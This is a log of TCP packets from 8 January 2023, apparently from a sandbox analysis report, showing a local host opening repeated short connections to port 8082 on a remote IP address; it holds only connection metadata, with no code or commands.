Jan 8, 2023 16:07:24.069160938 CET	8082	49759	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.069261074 CET	8082	49759	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.069295883 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.069341898 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.077903032 CET	49759	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.192504883 CET	8082	49759	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.209367990 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.323956966 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.324177027 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.324841976 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.438623905 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.443370104 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.443408012 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.443490982 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.443614960 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.443665028 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.451796055 CET	49760	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.566411018 CET	8082	49760	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.583874941 CET	49761	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.698460102 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.698613882 CET	49761	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.701370955 CET	49761	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.815917969 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.820590019 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.820640087 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.820656061 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.820785046 CET	49761	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.831064939 CET	49761	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:24.945157051 CET	8082	49761	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:24.974301100 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.088655949 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.088752985 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.089502096 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.203764915 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.208039999 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.208105087 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.208151102 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.208215952 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.208390951 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.208457947 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.215682030 CET	49762	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.330018997 CET	8082	49762	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.350265026 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.464804888 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.464987993 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.465699911 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.579431057 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.583774090 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.583808899 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.583856106 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.583858967 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.583898067 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.583898067 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.593278885 CET	49763	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.707598925 CET	8082	49763	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.727615118 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.842204094 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.842408895 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.842997074 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.956928968 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.962726116 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.962763071 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.962869883 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.962912083 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:25.963000059 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:25.963047981 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.028220892 CET	49764	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.142278910 CET	8082	49764	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.191865921 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.306224108 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.306392908 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.424166918 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.538563967 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.542737961 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.542809963 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.542839050 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.542951107 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.543008089 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.578919888 CET	49765	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.693562984 CET	8082	49765	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.758403063 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.873260021 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.873481989 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.874092102 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.988101006 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.992284060 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.992328882 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.992461920 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.992539883 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:26.992584944 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:26.992624044 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.004374027 CET	49766	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.118560076 CET	8082	49766	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.199279070 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.314207077 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.314420938 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.818413019 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.933986902 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.938086987 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.938127041 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.938169003 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.938201904 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:27.938672066 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:27.938755989 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:28.007781029 CET	49767	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:28.122117996 CET	8082	49767	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.577162027 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.692863941 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.693078995 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.704278946 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.818361044 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.822762966 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.822793007 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.822809935 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:29.822870016 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.822916031 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.874871016 CET	49768	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:29.988957882 CET	8082	49768	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.003381968 CET	49769	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.117671013 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.117767096 CET	49769	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.121694088 CET	49769	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.235917091 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.239763975 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.239795923 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.239814043 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.239948034 CET	49769	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.248642921 CET	49769	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.363138914 CET	8082	49769	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.403752089 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.518249989 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.518455982 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.523756981 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.639378071 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.643733978 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.643779993 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.643846989 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.643907070 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.643949032 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.660250902 CET	49770	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.774632931 CET	8082	49770	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.789357901 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.903850079 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:30.903966904 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:30.904534101 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.018462896 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.022608042 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.022665024 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.022774935 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.022835016 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.022895098 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.033385038 CET	49771	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.147561073 CET	8082	49771	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.163388968 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.277822971 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.280546904 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.281477928 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.395690918 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.399386883 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.399445057 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.399471045 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.399576902 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.399627924 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.407917976 CET	49772	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.522119999 CET	8082	49772	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.536041975 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.650641918 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.655494928 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.656122923 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.770155907 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.774454117 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.774492025 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.774569035 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.774651051 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.774934053 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.792915106 CET	49773	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:31.907078981 CET	8082	49773	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:31.940449953 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.054861069 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.055071115 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.055870056 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.170711040 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.175009966 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.175044060 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.175156116 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.175209045 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.175307989 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.188164949 CET	49774	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.302119017 CET	8082	49774	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.323239088 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.438795090 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.439008951 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.439722061 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.553823948 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.558489084 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.558528900 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.558557034 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.558671951 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.558772087 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.568232059 CET	49775	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.683170080 CET	8082	49775	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.711997032 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.826359034 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.826623917 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.827301979 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.942785025 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.945413113 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.945471048 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.945641994 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:32.945725918 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.945770979 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:32.955013037 CET	49776	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.069593906 CET	8082	49776	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.082531929 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.197398901 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.197592974 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.200345993 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.315630913 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.319674969 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.319714069 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.319731951 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.319849014 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.319896936 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.343628883 CET	49777	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.458009958 CET	8082	49777	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.475303888 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.589766979 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.589967012 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.592093945 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.706099987 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.710273981 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.710319996 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.710465908 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.710491896 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.710517883 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.710567951 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.719722033 CET	49778	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.833846092 CET	8082	49778	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.848562956 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.963165045 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:33.963387966 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:33.964448929 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.078514099 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.081945896 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.081981897 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.082000017 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.082057953 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.082099915 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.090648890 CET	49779	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.205482006 CET	8082	49779	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.224713087 CET	49780	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.339266062 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.339428902 CET	49780	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.339950085 CET	49780	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.453877926 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.459086895 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.459129095 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.459146976 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.459283113 CET	49780	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.471816063 CET	49780	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.586245060 CET	8082	49780	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.603724957 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.730072021 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.730248928 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.730842113 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.844705105 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.849227905 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.849267960 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.849381924 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.849443913 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.849484921 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:34.849544048 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:34.892648935 CET	49781	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.007013083 CET	8082	49781	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.026372910 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.140902996 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.141166925 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.141875029 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.256057978 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.261549950 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.261593103 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.261718035 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.261857986 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.261925936 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.272639990 CET	49782	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.387160063 CET	8082	49782	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.422362089 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.536791086 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.537026882 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.537622929 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.651959896 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.656428099 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.656466961 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.656641006 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.656672001 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.656739950 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.667280912 CET	49783	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.781466007 CET	8082	49783	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.821991920 CET	49784	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.936858892 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:35.937094927 CET	49784	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:35.937768936 CET	49784	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.051786900 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.057576895 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.057615042 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.057631969 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.057816982 CET	49784	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.067106009 CET	49784	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.181355000 CET	8082	49784	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.212352991 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.327581882 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.327836037 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.328489065 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.442836046 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.447315931 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.447351933 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.447369099 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.447407961 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.447449923 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.456692934 CET	49785	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.570754051 CET	8082	49785	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.583059072 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.697288036 CET	8082	49786	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.697407961 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.702289104 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.816957951 CET	8082	49786	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.821535110 CET	8082	49786	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.821578979 CET	8082	49786	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.821602106 CET	8082	49786	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:36.821657896 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.821738958 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.831504107 CET	49786	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:36.945645094 CET	8082	49786	20.104.209.69	192.168.2.6
